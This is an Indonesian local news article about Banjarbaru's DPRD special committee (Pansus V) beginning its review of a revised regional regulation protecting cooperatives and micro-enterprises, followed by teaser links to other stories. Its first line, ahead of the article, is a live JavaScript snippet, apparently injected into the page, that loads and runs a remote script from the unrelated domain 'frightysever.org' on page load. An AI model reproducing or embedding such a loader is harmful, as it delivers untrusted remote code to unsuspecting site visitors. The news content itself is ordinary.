(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) V DPRD Banjarbaru Provinsi mulai membahas rancangan peraturan daerah penyelenggaraan kemudahan perlindungan dan pemberdayaan koperasi dan usaha mikro.
“Rapat Pansus V pertama mengundang Dinas Koperasi UMKM dan Tenaga Kerja Banjarbaru dan Bagian Hukum Setdako Banjarbaru,” ujar Liana, Ketua Pansus V DPRD Banjarbaru, Senin (10/7/2023).
Menurut politisi perempuan Partai Golkar itu, mengingat rapat perdana sehingga belum masuk substansi tetapi masih meminta penjelasan terkait pembinaan dan perlindungan terhadap koperasi dan usaha mikro.
Liana menuturkan, anggota Pansus meminta penjelasan atas dasar hukum karena Raperda yang dibahas adalah revisi Perda terdahulu yang disempurnakan guna melindungi koperasi dan usaha mikro.
Baca juga: Tingkatkan Transaksi QRIS, BI Kalsel Gelar Pesta Rakyat Banua
“Kami minta penjelasan dasar hukum yang sebelumnya dan mengapa direvisi agar pembahasan ke depan dapat lebih mendalam,” ucapnya.
Liana menambahkan, sesuai tujuan revisi Perda, perlindungan terhadap koperasi dan usaha mikro dapat diwujudkan melalui Perda baru yang lebih sempurna terutama dalam melindungi usaha masyarakat.
Selama ini cukup banyak usaha mikro yang terkendala modal untuk pengembangan usaha disamping ada juga yang produksi sudah bagus tetapi mengalami kendala pemasaran.
“Hambatan dan kendala yang dirasakan pelaku usaha itu berupaya dicarikan solusinya disamping juga dibuatkan payung hukum berupa Perda, sehingga masyarakat dan pelaku usaha lebih nyaman,” ujarnya.
Baca juga: Empat Titik Karhutla di Kabupaten Banjar, Heli Water Boombing Diturunkan ke Gunung Pamaton
Pembinaan maupun pengembangan koperasi dan usaha mikro diperhatikan sehingga mereka tidak terjerat pinjaman yang dikenal cepat dan mudah.
“Kita semua tidak ingin koperasi dan pelaku usaha mikro terjerat pinjaman online sehingga melalui Perda nanti, mereka terlindungi dan usahanya bisa terus tumbuh dan berkembang,” kata Liana. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.